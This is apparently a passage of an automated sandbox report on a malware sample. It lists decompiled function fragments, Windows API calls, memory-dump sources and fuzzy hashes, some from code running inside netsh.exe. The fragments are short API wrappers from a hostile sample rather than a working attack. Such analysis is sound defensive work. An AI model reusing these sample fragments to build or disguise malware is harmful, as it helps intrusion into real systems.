				char _t10;
				void* _t15;

				_t3 = _a4 + 0xc74; // 0xc74
				E0041A950(_t15, _a4, _t3,  *((intOrPtr*)(_a4 + 0x10)), 0, 0x35);
				_t10 = RtlFreeHeap(_a8, _a12, _a16); // executed
				return _t10;
			}

0x0041a06f
0x0041a077
0x0041a08d
0x0041a091

APIs

RtlFreeHeap.NTDLL(00000060,00409CC3,?,?,00409CC3,00000060,00000000,00000000,?,?,00409CC3,?,00000000), ref: 0041A08D

Memory Dump Source

Source File: 00000006.00000002.772997632.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: c73a038728a0c461ae7389dd2c659cb336152b082840842379cc140023e4f07c
Instruction ID: 52797000195eaed384c72aa9dcce9225c0ea881c405841437723114bb70c3a82
Opcode Fuzzy Hash: c73a038728a0c461ae7389dd2c659cb336152b082840842379cc140023e4f07c
Instruction Fuzzy Hash: AEE012B1210208ABDB18EF99CC49EA777ACAF88760F018559BA185B242C630E9108AB0

Uniqueness

Uniqueness Score: -1.00%

Function 0041A1C0, Relevance: 1.5, APIs: 1, Instructions: 24
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0041A1C0(intOrPtr _a4, WCHAR* _a8, WCHAR* _a12, struct _LUID* _a16) {
				int _t10;
				void* _t15;

				E0041A950(_t15, _a4, _a4 + 0xc8c,  *((intOrPtr*)(_a4 + 0xa18)), 0, 0x46);
				_t10 = LookupPrivilegeValueW(_a8, _a12, _a16); // executed
				return _t10;
			}

0x0041a1da
0x0041a1f0
0x0041a1f4

APIs

LookupPrivilegeValueW.ADVAPI32(00000000,0000003C,0040F192,0040F192,0000003C,00000000,?,00409D35), ref: 0041A1F0

Memory Dump Source

Source File: 00000006.00000002.772997632.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: 6066231f07dbbfb97dda43844c8c8cc76a5ad0e3334111b5d8a4297bdf0bdfe7
Instruction ID: 2f72ad50c13f3bcf2c9af244d49b542148f264c451808f1d297bb805e18cb808
Opcode Fuzzy Hash: 6066231f07dbbfb97dda43844c8c8cc76a5ad0e3334111b5d8a4297bdf0bdfe7
Instruction Fuzzy Hash: CDE01AB12002086BDB10DF49CC85EE737ADAF88650F018555BA0C57241C934E8508BF5

Uniqueness

Uniqueness Score: -1.00%

Function 0041A0A0, Relevance: 1.5, APIs: 1, Instructions: 20
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0041A0A0(intOrPtr _a4, int _a8) {
				void* _t10;

				_t5 = _a4;
				E0041A950(_t10, _a4, _a4 + 0xc7c,  *((intOrPtr*)(_t5 + 0xa14)), 0, 0x36);
				ExitProcess(_a8);
			}

0x0041a0a3
0x0041a0ba
0x0041a0c8

APIs

ExitProcess.KERNEL32(?,?,00000000,?,?,?), ref: 0041A0C8

Memory Dump Source

Source File: 00000006.00000002.772997632.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: caa18f4ccbf82a939ed7a560578cfa8cb4ed60065234b72d20cd43f227523b36
Instruction ID: 12fe1e20a4fde289fa2c932464272cdbd0b6c77391ac3b13e7111125b87f0676
Opcode Fuzzy Hash: caa18f4ccbf82a939ed7a560578cfa8cb4ed60065234b72d20cd43f227523b36
Instruction Fuzzy Hash: 14D012716102147BD620DB99CC85FD7779CDF48760F018465BA5C5B241C531BA1086E1

Uniqueness

Uniqueness Score: -1.00%

Function 0041A093, Relevance: 1.5, APIs: 1, Instructions: 19
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E0041A093(intOrPtr _a4, int _a8) {
				void* _t16;

				asm("adc al, 0x6f");
				_t9 = _a4;
				E0041A950(_t16, _a4, _a4 + 0xc7c,  *((intOrPtr*)(_t9 + 0xa14)), 0, 0x36);
				ExitProcess(_a8);
			}

0x0041a09a
0x0041a0a3
0x0041a0ba
0x0041a0c8

APIs

ExitProcess.KERNEL32(?,?,00000000,?,?,?), ref: 0041A0C8

Memory Dump Source

Source File: 00000006.00000002.772997632.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 233aeda18031373b90166072aa022abf69fe9460f4c59d4f31ab083c27430941
Instruction ID: f2e0a7572d8444dcea97e12caa38dc9adb604e831936687e8cc23882ef066a27
Opcode Fuzzy Hash: 233aeda18031373b90166072aa022abf69fe9460f4c59d4f31ab083c27430941
Instruction Fuzzy Hash: 11E08C71610200BBC724DFA8CCC6FD73BA8AF48764F058158FA185F286C271EA01CBE1

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0040E431, Relevance: 1.3, Strings: 1, Instructions: 33COMMON

Download Yara Rule

Strings

kFO, xrefs: 0040E437

Memory Dump Source

Source File: 00000006.00000002.772997632.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID:
String ID: kFO
API String ID: 0-3003535715
Opcode ID: f69ca53327cc663613d9cf8ff914485631532f9bf0df480959f14c633bc2356d
Instruction ID: 7639c5958b7590549f1b0cd13b8986e8e68ecded1ced0a3d3b91a29ef46e8bdd
Opcode Fuzzy Hash: f69ca53327cc663613d9cf8ff914485631532f9bf0df480959f14c633bc2356d
Instruction Fuzzy Hash: BCE0AB7BB0224046C3259D99F8418F2B7A0C7C5374F0461BFE30EAB682D029892843A8

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: netsh.exe PID: 6648 Parent PID: 3424 netsh.exeCOMMON

Executed Functions

Function 008D9DA4, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 80filenativeCOMMON

Download Yara Rule

APIs

NtCreateFile.NTDLL(00000060,00000000,.z`,008D4B77,00000000,FFFFFFFF,?,?,FFFFFFFF,00000000,008D4B77,007A002E,00000000,00000060,00000000,00000000), ref: 008D9D9D

Strings

.z`, xrefs: 008D9D8D, 008D9D98

Memory Dump Source

Source File: 0000000A.00000002.945772498.00000000008C0000.00000040.00020000.sdmp, Offset: 008C0000, based on PE: false

Yara matches

Similarity

API ID: CreateFile
String ID: .z`
API String ID: 823142352-1441809116
Opcode ID: 4ff31443aec76e7c6fbc13436948495167be3fc50c5e9c93bc806a3a4f05d03b
Instruction ID: 14bfb533e2a5076cc8ce349cd41e65e97f6994c99c8c8e860d53c4a1b9672792
Opcode Fuzzy Hash: 4ff31443aec76e7c6fbc13436948495167be3fc50c5e9c93bc806a3a4f05d03b
Instruction Fuzzy Hash: 5D21B5B6204108AFCB08CF98DC95EEB77A9EF8C354F158259FA1DD7251C630E811CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 008D9D50, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 40filenativeCOMMON

Download Yara Rule

APIs

NtCreateFile.NTDLL(00000060,00000000,.z`,008D4B77,00000000,FFFFFFFF,?,?,FFFFFFFF,00000000,008D4B77,007A002E,00000000,00000060,00000000,00000000), ref: 008D9D9D

Strings

.z`, xrefs: 008D9D8D, 008D9D98

Memory Dump Source

Source File: 0000000A.00000002.945772498.00000000008C0000.00000040.00020000.sdmp, Offset: 008C0000, based on PE: false

Yara matches

Similarity

API ID: CreateFile
String ID: .z`
API String ID: 823142352-1441809116
Opcode ID: 19fa48ade07888cfcca4191431b874d7c75bcaabbd4d52727e7364b5df5f6853
Instruction ID: 0031624d1ec85e75f9cb3de18a835cb9e5ca8a25333da70d9b8c621e659ef8ff
Opcode Fuzzy Hash: 19fa48ade07888cfcca4191431b874d7c75bcaabbd4d52727e7364b5df5f6853
Instruction Fuzzy Hash: C2F0BDB2200208AFCB08CF88DC95EEB77ADAF8C754F158248BA1D97241C630E8118BA4

Uniqueness

Uniqueness Score: -1.00%

Function 008D9E00, Relevance: 1.5, APIs: 1, Instructions: 36filenativeCOMMON

Download Yara Rule

APIs

NtReadFile.NTDLL(008D4D32,5EB6522D,FFFFFFFF,008D49F1,?,?,008D4D32,?,008D49F1,FFFFFFFF,5EB6522D,008D4D32,?,00000000), ref: 008D9E45

Memory Dump Source

Source File: 0000000A.00000002.945772498.00000000008C0000.00000040.00020000.sdmp, Offset: 008C0000, based on PE: false

Yara matches

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 1cb0ad745fa17a6b0f92d1251f92e59420b1dcb8c70dd00eb84f7822971f7938
Instruction ID: 8e299ab3d16595087df35ae2c66b1ea1f40f9f9b640dd3c5be6091a1d4b34a8d
Opcode Fuzzy Hash: 1cb0ad745fa17a6b0f92d1251f92e59420b1dcb8c70dd00eb84f7822971f7938
Instruction Fuzzy Hash: 83F0A4B2200208AFCB18DF89DC91EEB77ADEF8C754F158249BA1D97241D630E8118BA1

Uniqueness

Uniqueness Score: -1.00%

Function 008D9E7A, Relevance: 1.5, APIs: 1, Instructions: 23nativeCOMMON

Download Yara Rule

APIs

NtClose.NTDLL(008D4D10,?,?,008D4D10,00000000,FFFFFFFF), ref: 008D9EA5

Memory Dump Source

Source File: 0000000A.00000002.945772498.00000000008C0000.00000040.00020000.sdmp, Offset: 008C0000, based on PE: false

Yara matches

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: 50e8488602b6babbb2bcc7e04f43c1c98acfc9645583e16396ca02f9458c1cea
Instruction ID: b6aa0c9258a3b0e58a05b692b66e50a06938967b73be84cf06410a8b0d182a5a
Opcode Fuzzy Hash: 50e8488602b6babbb2bcc7e04f43c1c98acfc9645583e16396ca02f9458c1cea
Instruction Fuzzy Hash: 33E0DF312002046BCB10EBB88C41ED77F64EF04210F18028DF9589B242C031A5008690

Uniqueness

Uniqueness Score: -1.00%

Function 008D9E80, Relevance: 1.5, APIs: 1, Instructions: 20nativeCOMMON

Download Yara Rule

APIs

NtClose.NTDLL(008D4D10,?,?,008D4D10,00000000,FFFFFFFF), ref: 008D9EA5

Memory Dump Source

Source File: 0000000A.00000002.945772498.00000000008C0000.00000040.00020000.sdmp, Offset: 008C0000, based on PE: false

Yara matches

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: aa41620b67aec822f8463caeb84bd84f714cc802f2fd34de09a1d76353dd2617
Instruction ID: 185aff69525bed86b7cdcddb9f8a881f7fc34e9773f1ceaca86aad65b592eb51
Opcode Fuzzy Hash: aa41620b67aec822f8463caeb84bd84f714cc802f2fd34de09a1d76353dd2617
Instruction Fuzzy Hash: E9D01776200214BBD714EB98CC86EA77BACEF48760F154599BA6C9B242C530FA0086E1

Uniqueness

Uniqueness Score: -1.00%

Function 03419710, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0341971A

Memory Dump Source

Source File: 0000000A.00000002.946885748.00000000033B0000.00000040.00000001.sdmp, Offset: 033B0000, based on PE: true

Associated: 0000000A.00000002.947097709.00000000034CB000.00000040.00000001.sdmp Download File
Associated: 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 003326f6c55ca1c6abacbc209464ae64036de4c013d424047f61e929fbb33465
Instruction ID: fb833c5c1836f105caeda44c4f683d41c103e405d11d1a1346ca1b55178a0932
Opcode Fuzzy Hash: 003326f6c55ca1c6abacbc209464ae64036de4c013d424047f61e929fbb33465
Instruction Fuzzy Hash: 7090027160105802D100A59A5408646040597E1351FA1D012A9115955EC7A58891B175

Uniqueness

Uniqueness Score: -1.00%

Function 03419FE0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 03419FEA

Memory Dump Source

Source File: 0000000A.00000002.946885748.00000000033B0000.00000040.00000001.sdmp, Offset: 033B0000, based on PE: true

Associated: 0000000A.00000002.947097709.00000000034CB000.00000040.00000001.sdmp Download File
Associated: 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: eaddcbd6746bc4d31a5d2775f2c2223633c151eccc5d6db898ba97c63500beba
Instruction ID: 35c13ead731b6f971eaa91eb9b042c6fc36d1d486911e42c6fe18de7a0cbff5f
Opcode Fuzzy Hash: eaddcbd6746bc4d31a5d2775f2c2223633c151eccc5d6db898ba97c63500beba
Instruction Fuzzy Hash: B890027171119802D110A15A8404706040597D2251FA1C412A4915958D87D58891B166

Uniqueness

Uniqueness Score: -1.00%

Function 03419780, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0341978A

Memory Dump Source

Source File: 0000000A.00000002.946885748.00000000033B0000.00000040.00000001.sdmp, Offset: 033B0000, based on PE: true

Associated: 0000000A.00000002.947097709.00000000034CB000.00000040.00000001.sdmp Download File
Associated: 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: e511a423434cff74895edc934001eed9754771635c44b784eb89797b7874a581
Instruction ID: a6b8dbc745ce96a049ca078491a88a5f4e0d46a56e1187dffbbdc286a38b3bf5
Opcode Fuzzy Hash: e511a423434cff74895edc934001eed9754771635c44b784eb89797b7874a581
Instruction Fuzzy Hash: 0590026961305402D180B15A540860A040597D2252FE1D416A4106958CCB558869A365

Uniqueness

Uniqueness Score: -1.00%

Function 03419A50, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 03419A5A

Memory Dump Source

Source File: 0000000A.00000002.946885748.00000000033B0000.00000040.00000001.sdmp, Offset: 033B0000, based on PE: true

Associated: 0000000A.00000002.947097709.00000000034CB000.00000040.00000001.sdmp Download File
Associated: 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 394ab83aebf061879fe97388b232582124e60b0bbd66fa69c779814279cdcfbf
Instruction ID: 29cf567f09be1b7958de4c58a6825c0bb84bfed10512b40472a15f6f61d7ea73
Opcode Fuzzy Hash: 394ab83aebf061879fe97388b232582124e60b0bbd66fa69c779814279cdcfbf
Instruction Fuzzy Hash: 0790026161185442D200A56A4C14B07040597D1353FA1C116A4245954CCB558861A565

Uniqueness

Uniqueness Score: -1.00%

Function 034196D0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 034196DA

Memory Dump Source

Source File: 0000000A.00000002.946885748.00000000033B0000.00000040.00000001.sdmp, Offset: 033B0000, based on PE: true

Associated: 0000000A.00000002.947097709.00000000034CB000.00000040.00000001.sdmp Download File
Associated: 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: f6b99baa88b21f1db5fa5da1a8610813b5d9ccf6a0869c2076486b10bc29ebff
Instruction ID: 8bb396e7d56f1a07bc73fb0535ff3f635a9533420658ff2d817cf4ab08cc9302
Opcode Fuzzy Hash: f6b99baa88b21f1db5fa5da1a8610813b5d9ccf6a0869c2076486b10bc29ebff
Instruction Fuzzy Hash: 6290027160105C42D100A15A4404B46040597E1351FA1C017A4215A54D8755C851B565

Uniqueness

Uniqueness Score: -1.00%

Function 034196E0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 034196EA

Memory Dump Source

Source File: 0000000A.00000002.946885748.00000000033B0000.00000040.00000001.sdmp, Offset: 033B0000, based on PE: true

Associated: 0000000A.00000002.947097709.00000000034CB000.00000040.00000001.sdmp Download File
Associated: 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 8beceffcc5fc03ed0781fe754b56e5c84e96b63b0c250d80588cd677cb4fd1ee
Instruction ID: 555eb04231d3c305be184aa9150f3b14db82e1bb1ddf7e24257d8728e1b6a88c
Opcode Fuzzy Hash: 8beceffcc5fc03ed0781fe754b56e5c84e96b63b0c250d80588cd677cb4fd1ee
Instruction Fuzzy Hash: A79002716010DC02D110A15A840474A040597D1351FA5C412A8515A58D87D58891B165

Uniqueness

Uniqueness Score: -1.00%

Function 03419540, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0341954A

Memory Dump Source

Source File: 0000000A.00000002.946885748.00000000033B0000.00000040.00000001.sdmp, Offset: 033B0000, based on PE: true

Associated: 0000000A.00000002.947097709.00000000034CB000.00000040.00000001.sdmp Download File
Associated: 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 33321397ff4052806db6efca5c4c4cc37bff5f43e3cd95df5e19e6c90b9f5707
Instruction ID: d0090dcbcd671601fd82e6e1b93afc896b3e585d307ce1f757e67df236301241
Opcode Fuzzy Hash: 33321397ff4052806db6efca5c4c4cc37bff5f43e3cd95df5e19e6c90b9f5707
Instruction Fuzzy Hash: 66900265611054030105E55A0704507044697D63A13A1C022F5106950CD7618861A165

Uniqueness

Uniqueness Score: -1.00%

Function 03419910, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0341991A

Memory Dump Source

Source File: 0000000A.00000002.946885748.00000000033B0000.00000040.00000001.sdmp, Offset: 033B0000, based on PE: true

Associated: 0000000A.00000002.947097709.00000000034CB000.00000040.00000001.sdmp Download File
Associated: 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 6d4a38e64ffce2e45f77c1ee7f9a0b0b965b9d5101dd9a55532c77c237adaa9f
Instruction ID: 73a34f69a2562632f1bb3d0b9109c0a4c075a55fd8aa571c1a904408729fc45b
Opcode Fuzzy Hash: 6d4a38e64ffce2e45f77c1ee7f9a0b0b965b9d5101dd9a55532c77c237adaa9f
Instruction Fuzzy Hash: 959002B160105802D140B15A4404746040597D1351FA1C012A9155954E87998DD5B6A9

Uniqueness

Uniqueness Score: -1.00%

Function 034195D0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 034195DA

Memory Dump Source

Source File: 0000000A.00000002.946885748.00000000033B0000.00000040.00000001.sdmp, Offset: 033B0000, based on PE: true

Associated: 0000000A.00000002.947097709.00000000034CB000.00000040.00000001.sdmp Download File
Associated: 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 28534ba8a8ae0c40f22d4c89adcb1fcaf1142758fb2c6482ed3ca0d6d599d228
Instruction ID: 2c94046d5b79e7d9b70b391adf29e23f0d869e6b922bae96968d8427451180e6
Opcode Fuzzy Hash: 28534ba8a8ae0c40f22d4c89adcb1fcaf1142758fb2c6482ed3ca0d6d599d228
Instruction Fuzzy Hash: 569002A1602054034105B15A4414616440A97E1251BA1C022E5105990DC7658891B169

Uniqueness

Uniqueness Score: -1.00%

Function 034199A0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 034199AA

Memory Dump Source

Source File: 0000000A.00000002.946885748.00000000033B0000.00000040.00000001.sdmp, Offset: 033B0000, based on PE: true

Associated: 0000000A.00000002.947097709.00000000034CB000.00000040.00000001.sdmp Download File
Associated: 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 0123504dd105eda96925de69d2ee908c39edb130229c125ad476e3c1d38306dd
Instruction ID: 1ea36aa0e28dd7344424e99ce0b4c3af22bd88c01baea24fbeb43e61978a1ae6
Opcode Fuzzy Hash: 0123504dd105eda96925de69d2ee908c39edb130229c125ad476e3c1d38306dd
Instruction Fuzzy Hash: DE9002A174105842D100A15A4414B060405D7E2351FA1C016E5155954D8759CC52B16A

Uniqueness

Uniqueness Score: -1.00%

Function 03419840, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0341984A

Memory Dump Source

Source File: 0000000A.00000002.946885748.00000000033B0000.00000040.00000001.sdmp, Offset: 033B0000, based on PE: true

Associated: 0000000A.00000002.947097709.00000000034CB000.00000040.00000001.sdmp Download File
Associated: 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 4e7496d50db7cc35f711d3e5f872ee81ebfbc25f4d14e5eccb20583dc919e54a
Instruction ID: b40fd64590585bea2e4f67ba119903834c61985fe3cd07a3542c6780195ca8f9
Opcode Fuzzy Hash: 4e7496d50db7cc35f711d3e5f872ee81ebfbc25f4d14e5eccb20583dc919e54a
Instruction Fuzzy Hash: 87900261642095525545F15A44045074406A7E12917E1C013A5505D50C87669856E665

Uniqueness

Uniqueness Score: -1.00%

Function 03419860, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0341986A

Memory Dump Source

Source File: 0000000A.00000002.946885748.00000000033B0000.00000040.00000001.sdmp, Offset: 033B0000, based on PE: true

Associated: 0000000A.00000002.947097709.00000000034CB000.00000040.00000001.sdmp Download File
Associated: 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: da294c7baaa32785a6658ec3b2e5cab4cfec6860a257435ea2583a480523b6f0
Instruction ID: 575b0387a34de56b58beebb0e42375adc6857e4b3aa56e225b29a1cd7f82b893
Opcode Fuzzy Hash: da294c7baaa32785a6658ec3b2e5cab4cfec6860a257435ea2583a480523b6f0
Instruction Fuzzy Hash: FD90027160105813D111A15A4504707040997D1291FE1C413A4515958D97968952F165

Uniqueness

Uniqueness Score: -1.00%

Function 008DA060, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 24memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(00000060,00000000,.z`,007A002E,00000000,00000060,00000000,00000000,?,?,00700069,?,008C3AF8), ref: 008DA08D

Strings

.z`, xrefs: 008DA07C, 008DA088

Memory Dump Source

Source File: 0000000A.00000002.945772498.00000000008C0000.00000040.00020000.sdmp, Offset: 008C0000, based on PE: false

Yara matches

Similarity

API ID: FreeHeap
String ID: .z`
API String ID: 3298025750-1441809116
Opcode ID: 540c4433df045b48126259b9153db85e530e9dd1f040c1eb84158749b6bc4ef9
Instruction ID: 8288c139431d55e73da1fb5cff5e392eace8ed5a83c8478eb10503ac0011df4a
Opcode Fuzzy Hash: 540c4433df045b48126259b9153db85e530e9dd1f040c1eb84158749b6bc4ef9
Instruction Fuzzy Hash: B2E01AB12002046BD718DF59CC45EA777ACEF88750F114555B91857241C631E9108AB1

Uniqueness

Uniqueness Score: -1.00%

Function 008C82B5, Relevance: 3.1, APIs: 2, Instructions: 80threadwindowCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(0065002E,00000111,00000000,00000000,00000000), ref: 008C834A
PostThreadMessageW.USER32(0065002E,00008003,00000000,?,00000000), ref: 008C836B

Memory Dump Source

Source File: 0000000A.00000002.945772498.00000000008C0000.00000040.00020000.sdmp, Offset: 008C0000, based on PE: false

Yara matches

Similarity

API ID: MessagePostThread
String ID:
API String ID: 1836367815-0
Opcode ID: 135936b8ab1fc3195d8488e963b4ff41958f5a89f7c72694268a07bebaf5ecc1
Instruction ID: 6e6fae2f1ad76edc0fc1901b82946ccd9c25ae2b149c7b61d90dfc0c7aab316c
Opcode Fuzzy Hash: 135936b8ab1fc3195d8488e963b4ff41958f5a89f7c72694268a07bebaf5ecc1
Instruction Fuzzy Hash: 9F112C72A40118BBEB10A66C9C43FEE736CFB40711F05025EFE08EB281EA71990542E2

Uniqueness

Uniqueness Score: -1.00%

Function 008C82E8, Relevance: 3.1, APIs: 2, Instructions: 57threadwindowCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(0065002E,00000111,00000000,00000000,00000000), ref: 008C834A
PostThreadMessageW.USER32(0065002E,00008003,00000000,?,00000000), ref: 008C836B

Memory Dump Source

Source File: 0000000A.00000002.945772498.00000000008C0000.00000040.00020000.sdmp, Offset: 008C0000, based on PE: false

Yara matches

Similarity

API ID: MessagePostThread
String ID:
API String ID: 1836367815-0
Opcode ID: ff2f9382d1b27f1de0258eac08fd5b1d2396bfee8695f11b2dc55a05b66ddb17
Instruction ID: 9f3ff049abb55844b5a904903ee342c36745555cf75588b557cab1980e107553
Opcode Fuzzy Hash: ff2f9382d1b27f1de0258eac08fd5b1d2396bfee8695f11b2dc55a05b66ddb17
Instruction Fuzzy Hash: E001D831A802587AE725A6A88C43FFE772CFB01F55F04011DFB04FA2C1D6A5690647E6

Uniqueness

Uniqueness Score: -1.00%

Function 008C82F0, Relevance: 3.1, APIs: 2, Instructions: 55threadwindowCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(0065002E,00000111,00000000,00000000,00000000), ref: 008C834A
PostThreadMessageW.USER32(0065002E,00008003,00000000,?,00000000), ref: 008C836B

Memory Dump Source

Source File: 0000000A.00000002.945772498.00000000008C0000.00000040.00020000.sdmp, Offset: 008C0000, based on PE: false

Yara matches

Similarity

API ID: MessagePostThread
String ID:
API String ID: 1836367815-0
Opcode ID: 82079f10d3c2bb338251c77b1746ba6aed9656e107e48eb6c4cfa7d71c1448a4
Instruction ID: c8f82a9c3ede709ce1f675010d786d8f0d0a9df89073b6d4b0c2da2679347b31
Opcode Fuzzy Hash: 82079f10d3c2bb338251c77b1746ba6aed9656e107e48eb6c4cfa7d71c1448a4
Instruction Fuzzy Hash: 7201A731A802287BE725A6989C03FBE776CFB40F55F054119FF04FA2C1EAA5A90546F6

Uniqueness

Uniqueness Score: -1.00%

Function 008CACC0, Relevance: 1.5, APIs: 1, Instructions: 48libraryloaderCOMMON

Download Yara Rule

APIs

LdrLoadDll.NTDLL(00000000,00000000,00000003,?), ref: 008CAD32

Memory Dump Source

Source File: 0000000A.00000002.945772498.00000000008C0000.00000040.00020000.sdmp, Offset: 008C0000, based on PE: false

Yara matches

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 8dd989eea79af60a2177110ff857ca10202f9c8b5bfc158903865a0a4b584fe4
Instruction ID: aeb5afb54d8ab79b0b7932fe0cfd55a1cbf9f411df76595c2ebc6b1dcb0f6576
Opcode Fuzzy Hash: 8dd989eea79af60a2177110ff857ca10202f9c8b5bfc158903865a0a4b584fe4
Instruction Fuzzy Hash: 35011EB9D4020EABDB14EBE4DC42F9DB378EB54308F004299EA09D7241F631EB54CB92

Uniqueness

Uniqueness Score: -1.00%

Function 008DA0CD, Relevance: 1.5, APIs: 1, Instructions: 43processCOMMON

Download Yara Rule

APIs

CreateProcessInternalW.KERNELBASE(?,00000000,?,?,00000000,00000000,?,?,?,00000000,00000000,?,?,00000000,?,00000000), ref: 008DA124

Memory Dump Source

Source File: 0000000A.00000002.945772498.00000000008C0000.00000040.00020000.sdmp, Offset: 008C0000, based on PE: false

Yara matches

Similarity

API ID: CreateInternalProcess
String ID:
API String ID: 2186235152-0
Opcode ID: 42955c82a760be997f839bc1a3887deb7afcf1ab3b39428b1eecb3fcb93ef995
Instruction ID: db7f4c7148086447160930e4a4ea59127252b2b6a1dbdd997975e91b0fa916e5
Opcode Fuzzy Hash: 42955c82a760be997f839bc1a3887deb7afcf1ab3b39428b1eecb3fcb93ef995
Instruction Fuzzy Hash: 1A0192B2210108BFCB58CF99DC91EEB77A9AF8C354F158259FA1DD7251C630E851CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 008DA0D0, Relevance: 1.5, APIs: 1, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateProcessInternalW.KERNELBASE(?,00000000,?,?,00000000,00000000,?,?,?,00000000,00000000,?,?,00000000,?,00000000), ref: 008DA124

Memory Dump Source

Source File: 0000000A.00000002.945772498.00000000008C0000.00000040.00020000.sdmp, Offset: 008C0000, based on PE: false

Yara matches

Similarity

API ID: CreateInternalProcess
String ID:
API String ID: 2186235152-0
Opcode ID: 91c10d5b09b6f5ff7ee6d1e22534128eefdcfa4a5b7191d55d386dbf4554461c
Instruction ID: caab0b5d2cd6093352381458030653912ff7cc5e126b91556e1400e9182c779b
Opcode Fuzzy Hash: 91c10d5b09b6f5ff7ee6d1e22534128eefdcfa4a5b7191d55d386dbf4554461c
Instruction Fuzzy Hash: 1F01AFB2210108BFCB58DF89DC91EEB77ADAF8C754F158258BA1D97241C630E851CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 008DA1B1, Relevance: 1.5, APIs: 1, Instructions: 33COMMON

Download Yara Rule

APIs

LookupPrivilegeValueW.ADVAPI32(00000000,?,008CF192,008CF192,?,00000000,?,?), ref: 008DA1F0

Memory Dump Source

Source File: 0000000A.00000002.945772498.00000000008C0000.00000040.00020000.sdmp, Offset: 008C0000, based on PE: false

Yara matches

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
